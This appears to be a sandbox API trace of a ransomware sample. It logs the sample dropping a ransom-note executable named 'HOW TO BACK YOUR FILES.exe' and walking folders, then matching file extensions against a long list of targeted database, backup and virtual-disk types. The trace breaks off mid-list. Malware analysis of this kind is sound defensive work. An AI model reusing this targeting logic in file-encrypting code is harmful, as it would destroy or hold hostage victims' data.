lstrcatW (in: lpString1="Public", lpString2="\\" | out: lpString1="Public\\") returned="Public\\" [0035.533] lstrcatW (in: lpString1="Public\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Public\\HOW TO BACK YOUR FILES.exe") returned="Public\\HOW TO BACK YOUR FILES.exe" [0035.533] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\how to back your files.exe"), bFailIfExists=1) returned 0 [0035.534] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc3a7900, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc3a7900, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 0 [0035.534] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0035.534] ReleaseMutex (hMutex=0xec) returned 1 [0035.534] CloseHandle (hObject=0xec) returned 1 [0035.534] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000" [0035.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0035.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x508f00 | out: hHeap=0x4f0000) returned 1 [0035.534] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0035.534] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\25E4319B4C254ECFAEFCA000020C610C") returned 0xec [0035.534] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0035.534] lstrcatW (in: lpString1="", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000" [0035.534] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0035.534] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\how to back your files.exe"), bFailIfExists=1) returned 0 [0035.535] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0035.535] GetLastError () returned 0x0 [0035.535] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0035.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x52c410 [0035.535] ReadFile (in: hFile=0xf4, lpBuffer=0x52c410, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x52c410*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0035.535] CloseHandle (hObject=0xf4) returned 1 [0035.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c410 | out: hHeap=0x4f0000) returned 1 [0035.535] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0035.535] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbc3354e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc3354e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0035.535] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.535] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0035.535] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0035.535] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbc3354e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc3354e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.535] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.535] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0035.535] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0035.535] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0035.535] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0035.535] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.535] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.535] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0035.535] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0035.536] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0035.536] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0035.536] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0035.536] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0035.536] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0035.536] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0035.536] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0035.536] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0035.536] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0035.536] lstrlenW (lpString="desktop.ini") returned 11 [0035.536] lstrcpyW (in: lpString1=0x241e8c6, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0035.536] lstrlenW (lpString="desktop.ini") returned 11 [0035.536] lstrlenW (lpString="Athena865") returned 9 [0035.536] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0035.536] lstrlenW (lpString=".dll") returned 4 [0035.536] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0035.536] lstrlenW (lpString=".lnk") returned 4 [0035.536] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0035.536] lstrlenW (lpString=".ini") returned 4 [0035.536] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0035.536] lstrlenW (lpString=".sys") returned 4 [0035.536] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0035.536] lstrlenW (lpString="desktop.ini") returned 11 [0035.536] lstrlenW (lpString="bak") returned 3 [0035.536] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0035.536] lstrlenW (lpString="ba_") returned 3 [0035.536] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0035.536] lstrlenW (lpString="dbb") returned 3 [0035.536] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0035.536] lstrlenW (lpString="vmdk") returned 4 [0035.536] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0035.536] lstrlenW (lpString="rar") returned 3 [0035.536] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0035.536] lstrlenW (lpString="zip") returned 3 [0035.536] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0035.536] lstrlenW (lpString="tgz") returned 3 [0035.536] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0035.536] lstrlenW (lpString="vbox") returned 4 [0035.536] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0035.537] lstrlenW (lpString="vdi") returned 3 [0035.537] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0035.537] lstrlenW (lpString="vhd") returned 3 [0035.537] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0035.537] lstrlenW (lpString="vhdx") returned 4 [0035.537] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0035.537] lstrlenW (lpString="avhd") returned 4 [0035.537] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0035.537] lstrlenW (lpString="db") returned 2 [0035.537] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0035.537] lstrlenW (lpString="db2") returned 3 [0035.537] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0035.537] lstrlenW (lpString="db3") returned 3 [0035.537] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0035.537] lstrlenW (lpString="dbf") returned 3 [0035.537] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0035.537] lstrlenW (lpString="mdf") returned 3 [0035.537] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0035.537] lstrlenW (lpString="mdb") returned 3 [0035.537] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0035.537] lstrlenW (lpString="sql") returned 3 [0035.537] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0035.537] lstrlenW (lpString="sqlite") returned 6 [0035.537] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0035.537] lstrlenW (lpString="sqlite3") returned 7 [0035.537] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0035.537] lstrlenW (lpString="sqlitedb") returned 8 [0035.537] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0035.537] lstrlenW (lpString="xml") returned 3 [0035.537] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0035.537] lstrlenW (lpString="$er") returned 3 [0035.537] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0035.537] lstrlenW (lpString="4dd") returned 3 [0035.537] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0035.537] lstrlenW (lpString="4dl") returned 3 [0035.537] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0035.537] lstrlenW (lpString="^^^") returned 3 [0035.537] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0035.537] lstrlenW (lpString="abs") returned 3 [0035.537] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0035.537] lstrlenW (lpString="abx") returned 3 [0035.538] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0035.538] lstrlenW (lpString="accdb") returned 5 [0035.538] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0035.538] lstrlenW (lpString="accdc") returned 5 [0035.538] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0035.538] lstrlenW (lpString="accde") returned 5 [0035.538] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0035.538] lstrlenW (lpString="accdr") returned 5 [0035.538] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0035.538] lstrlenW (lpString="accdt") returned 5 [0035.538] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0035.538] lstrlenW (lpString="accdw") returned 5 [0035.538] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0035.538] lstrlenW (lpString="accft") returned 5 [0035.538] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0035.538] lstrlenW (lpString="adb") returned 3 [0035.538] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0035.538] lstrlenW (lpString="adb") returned 3 [0035.538] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0035.538] lstrlenW (lpString="ade") returned 3 [0035.538] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0035.538] lstrlenW (lpString="adf") returned 3 [0035.538] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0035.538] lstrlenW (lpString="adn") returned 3 [0035.538] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0035.538] lstrlenW (lpString="adp") returned 3 [0035.538] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0035.538] lstrlenW (lpString="alf") returned 3 [0035.538] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0035.538] lstrlenW (lpString="ask") returned 3 [0035.538] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0035.538] lstrlenW (lpString="btr") returned 3 [0035.538] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0035.538] lstrlenW (lpString="cat") returned 3 [0035.538] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0035.538] lstrlenW (lpString="cdb") returned 3 [0035.538] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0035.538] lstrlenW (lpString="ckp") returned 3 [0035.538] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0035.538] lstrlenW (lpString="cma") returned 3 [0035.538] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0035.539] lstrlenW (lpString="cpd") returned 3 [0035.539] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0035.539] lstrlenW (lpString="dacpac") returned 6 [0035.539] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0035.539] lstrlenW (lpString="dad") returned 3 [0035.539] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0035.539] lstrlenW (lpString="dadiagrams") returned 10 [0035.539] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0035.539] lstrlenW (lpString="daschema") returned 8 [0035.539] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0035.539] lstrlenW (lpString="db-journal") returned 10 [0035.539] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0035.539] lstrlenW (lpString="db-shm") returned 6 [0035.539] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0035.539] lstrlenW (lpString="db-wal") returned 6 [0035.539] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0035.539] lstrlenW (lpString="dbc") returned 3 [0035.539] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0035.539] lstrlenW (lpString="dbs") returned 3 [0035.539] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0035.539] lstrlenW (lpString="dbt") returned 3 [0035.539] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0035.539] lstrlenW (lpString="dbv") returned 3 [0035.539] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0035.539] lstrlenW (lpString="dbx") returned 3 [0035.539] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0035.539] lstrlenW (lpString="dcb") returned 3 [0035.539] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0035.539] lstrlenW (lpString="dct") returned 3 [0035.539] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0035.539] lstrlenW (lpString="dcx") returned 3 [0035.539] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0035.539] lstrlenW (lpString="ddl") returned 3 [0035.539] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0035.539] lstrlenW (lpString="dlis") returned 4 [0035.539] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0035.539] lstrlenW (lpString="dp1") returned 3 [0035.539] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0035.539] lstrlenW (lpString="dqy") returned 3 [0035.540] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0035.540] lstrlenW (lpString="dsk") returned 3 [0035.540] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0035.540] lstrlenW (lpString="dsn") returned 3 [0035.540] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0035.540] lstrlenW (lpString="dtsx") returned 4 [0035.540] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0035.540] lstrlenW (lpString="dxl") returned 3 [0035.540] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0035.540] lstrlenW (lpString="eco") returned 3 [0035.540] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0035.540] lstrlenW (lpString="ecx") returned 3 [0035.540] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0035.540] lstrlenW (lpString="edb") returned 3 [0035.540] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0035.540] lstrlenW (lpString="epim") returned 4 [0035.540] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0035.540] lstrlenW (lpString="fcd") returned 3 [0035.540] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0035.540] lstrlenW (lpString="fdb") returned 3 [0035.540] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0035.540] lstrlenW (lpString="fic") returned 3 [0035.540] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0035.540] lstrlenW (lpString="flexolibrary") returned 12 [0035.540] lstrlenW (lpString="fm5") returned 3 [0035.540] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0035.540] lstrlenW (lpString="fmp") returned 3 [0035.540] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0035.540] lstrlenW (lpString="fmp12") returned 5 [0035.540] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0035.540] lstrlenW (lpString="fmpsl") returned 5 [0035.540] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0035.540] lstrlenW (lpString="fol") returned 3 [0035.540] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0035.540] lstrlenW (lpString="fp3") returned 3 [0035.540] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0035.540] lstrlenW (lpString="fp4") returned 3 [0035.540] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0035.540] lstrlenW (lpString="fp5") returned 3 [0035.540] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0035.540] lstrlenW (lpString="fp7") returned 3 [0035.541] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0035.541] lstrlenW (lpString="fpt") returned 3 [0035.541] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0035.541] lstrlenW (lpString="frm") returned 3 [0035.541] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0035.541] lstrlenW (lpString="gdb") returned 3 [0035.541] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0035.541] lstrlenW (lpString="gdb") returned 3 [0035.541] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0035.541] lstrlenW (lpString="grdb") returned 4 [0035.541] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0035.541] lstrlenW (lpString="gwi") returned 3 [0035.541] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0035.541] lstrlenW (lpString="hdb") returned 3 [0035.541] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0035.541] lstrlenW (lpString="his") returned 3 [0035.541] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0035.541] lstrlenW (lpString="ib") returned 2 [0035.541] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0035.541] lstrlenW (lpString="idb") returned 3 [0035.541] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0035.541] lstrlenW (lpString="ihx") returned 3 [0035.541] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0035.541] lstrlenW (lpString="itdb") returned 4 [0035.541] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0035.541] lstrlenW (lpString="itw") returned 3 [0035.541] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0035.541] lstrlenW (lpString="jet") returned 3 [0035.541] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0035.541] lstrlenW (lpString="jtx") returned 3 [0035.541] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0035.541] lstrlenW (lpString="kdb") returned 3 [0035.541] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0035.541] lstrlenW (lpString="kexi") returned 4 [0035.541] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0035.541] lstrlenW (lpString="kexic") returned 5 [0035.541] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0035.541] lstrlenW (lpString="kexis") returned 5 [0035.541] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0035.541] lstrlenW (lpString="lgc") returned 3 [0035.541] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0035.541] lstrlenW (lpString="lwx") returned 3 [0035.542] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0035.542] lstrlenW (lpString="maf") returned 3 [0035.542] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0035.542] lstrlenW (lpString="maq") returned 3 [0035.542] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0035.542] lstrlenW (lpString="mar") returned 3 [0035.542] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0035.542] lstrlenW (lpString="marshal") returned 7 [0035.542] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0035.542] lstrlenW (lpString="mas") returned 3 [0035.542] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0035.542] lstrlenW (lpString="mav") returned 3 [0035.542] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0035.542] lstrlenW (lpString="maw") returned 3 [0035.542] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0035.542] lstrlenW (lpString="mdbhtml") returned 7 [0035.542] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0035.542] lstrlenW (lpString="mdn") returned 3 [0035.542] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0035.542] lstrlenW (lpString="mdt") returned 3 [0035.542] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0035.542] lstrlenW (lpString="mfd") returned 3 [0035.542] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0035.542] lstrlenW (lpString="mpd") returned 3 [0035.542] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0035.542] lstrlenW (lpString="mrg") returned 3 [0035.542] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0035.542] lstrlenW (lpString="mud") returned 3 [0035.542] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0035.542] lstrlenW (lpString="mwb") returned 3 [0035.542] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0035.542] lstrlenW (lpString="myd") returned 3 [0035.542] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0035.542] lstrlenW (lpString="ndf") returned 3 [0035.542] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0035.542] lstrlenW (lpString="nnt") returned 3 [0035.542] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0035.542] lstrlenW (lpString="nrmlib") returned 6 [0035.542] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0035.542] lstrlenW (lpString="ns2") returned 3 [0035.542] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0035.543] lstrlenW (lpString="ns3") returned 3 [0035.543] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0035.543] lstrlenW (lpString="ns4") returned 3 [0035.543] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0035.543] lstrlenW (lpString="nsf") returned 3 [0035.543] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0035.543] lstrlenW (lpString="nv") returned 2 [0035.543] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0035.543] lstrlenW (lpString="nv2") returned 3 [0035.543] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0035.543] lstrlenW (lpString="nwdb") returned 4 [0035.543] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0035.543] lstrlenW (lpString="nyf") returned 3 [0035.543] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0035.543] lstrlenW (lpString="odb") returned 3 [0035.543] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0035.543] lstrlenW (lpString="odb") returned 3 [0035.543] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0035.543] lstrlenW (lpString="oqy") returned 3 [0035.543] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0035.543] lstrlenW (lpString="ora") returned 3 [0035.543] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0035.543] lstrlenW (lpString="orx") returned 3 [0035.543] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0035.543] lstrlenW (lpString="owc") returned 3 [0035.543] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0035.543] lstrlenW (lpString="p96") returned 3 [0035.543] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0035.543] lstrlenW (lpString="p97") returned 3 [0035.543] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0035.543] lstrlenW (lpString="pan") returned 3 [0035.543] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0035.543] lstrlenW (lpString="pdb") returned 3 [0035.543] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0035.543] lstrlenW (lpString="pdm") returned 3 [0035.543] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0035.543] lstrlenW (lpString="pnz") returned 3 [0035.543] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0035.543] lstrlenW (lpString="qry") returned 3 [0035.544] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0035.544] lstrlenW (lpString="qvd") returned 3 [0035.544] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0035.544] lstrlenW (lpString="rbf") returned 3 [0035.544] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0035.544] lstrlenW (lpString="rctd") returned 4 [0035.544] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0035.544] lstrlenW (lpString="rod") returned 3 [0035.544] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0035.544] lstrlenW (lpString="rodx") returned 4 [0035.544] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0035.544] lstrlenW (lpString="rpd") returned 3 [0035.544] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0035.544] lstrlenW (lpString="rsd") returned 3 [0035.544] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0035.544] lstrlenW (lpString="sas7bdat") returned 8 [0035.544] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0035.544] lstrlenW (lpString="sbf") returned 3 [0035.544] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0035.544] lstrlenW (lpString="scx") returned 3 [0035.544] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0035.544] lstrlenW (lpString="sdb") returned 3 [0035.544] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0035.544] lstrlenW (lpString="sdc") returned 3 [0035.544] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0035.544] lstrlenW (lpString="sdf") returned 3 [0035.544] lstrcmpiW (lpString1="ini", lpString2="sdf") 